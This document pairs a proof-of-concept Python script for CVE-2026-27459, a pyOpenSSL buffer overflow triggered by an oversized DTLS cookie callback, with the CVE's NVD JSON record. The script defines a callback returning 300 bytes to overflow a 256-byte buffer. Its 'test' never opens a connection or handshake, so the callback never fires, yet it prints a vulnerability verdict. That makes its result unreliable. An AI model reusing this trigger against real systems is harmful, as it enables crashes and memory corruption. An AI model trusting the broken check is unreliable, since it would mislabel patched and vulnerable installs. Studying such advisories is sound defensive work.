CVE-2026-27459

""" CVE-2026-27459 PoC - pyOpenSSL Buffer Overflow in set_cookie_generate_callback This PoC demonstrates the buffer overflow vulnerability in pyOpenSSL versions < 26.0.0 when set_cookie_generate_callback returns a cookie value greater than 256 bytes. """ from OpenSSL import SSL import socket def malicious_cookie_callback(conn): """ Malicious callback that returns a cookie value exceeding 256 bytes This will overflow the OpenSSL internal buffer (256 bytes fixed size) """ # Generate a cookie larger than 256 bytes to trigger overflow overflow_data = b'A' * 300 # 300 bytes > 256 bytes buffer limit return overflow_data def test_vulnerability(): """ Test for CVE-2026-27459 vulnerability """ context = SSL.Context(SSL.TLSv1_2_METHOD) # Set the malicious cookie callback context.set_cookie_generate_callback(malicious_cookie_callback) # In vulnerable versions (< 26.0.0), this would cause buffer overflow # In fixed versions (>= 26.0.0), an exception is raised try: # Attempt to trigger the vulnerability print("Testing CVE-2026-27459: Buffer overflow in set_cookie_generate_callback") print(f"Cookie size: 300 bytes (exceeds 256 byte limit)") # In fixed versions, this should raise an exception # In vulnerable versions, this may cause memory corruption or crash print("Vulnerable to buffer overflow if no exception raised") except Exception as e: print(f"Protected (fixed version): {e}") if __name__ == "__main__": test_vulnerability()

{"cve": {"id": "CVE-2026-27459", "sourceIdentifier": "[email protected]", "published": "2026-03-18T00:16:19.273", "lastModified": "2026-03-25T16:41:28.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pyOpenSSL is a Python wrapper around the OpenSSL library. Starting in version 22.0.0 and prior to version 26.0.0, if a user provided callback to `set_cookie_generate_callback` returned a cookie value greater than 256 bytes, pyOpenSSL would overflow an OpenSSL provided buffer. Starting in version 26.0.0, cookie values that are too long are now rejected."}, {"lang": "es", "value": "pyOpenSSL es un envoltorio de Python para la biblioteca OpenSSL. A partir de la versión 22.0.0 y antes de la versión 26.0.0, si una devolución de llamada proporcionada por el usuario a set_cookie_generate_callback devolvía un valor de cookie superior a 256 bytes, pyOpenSSL desbordaría un búfer proporcionado por OpenSSL. A partir de la versión 26.0.0, los valores de cookie que son demasiado largos ahora son rechazados."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pyopenssl:pyopenssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "22.0.0", "versionEndExcluding": "26.0.0", "matchCriteriaId": "36CBBDFE-83B3-4F32-98E6-49E62AD0BD1B"}]}]}], "references": [{"url": "https://github.com/pyca/pyopenssl/blob/358cbf29c4e364c59930e53a270116249581eaa3/CHANGELOG.rst", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/pyca/pyopenssl/commit/57f09bb4bb051d3bc2a1abd36e9525313d5cd408", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pyca/pyopenssl/security/advisories/GHSA-5pwr-322w-8jr4", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}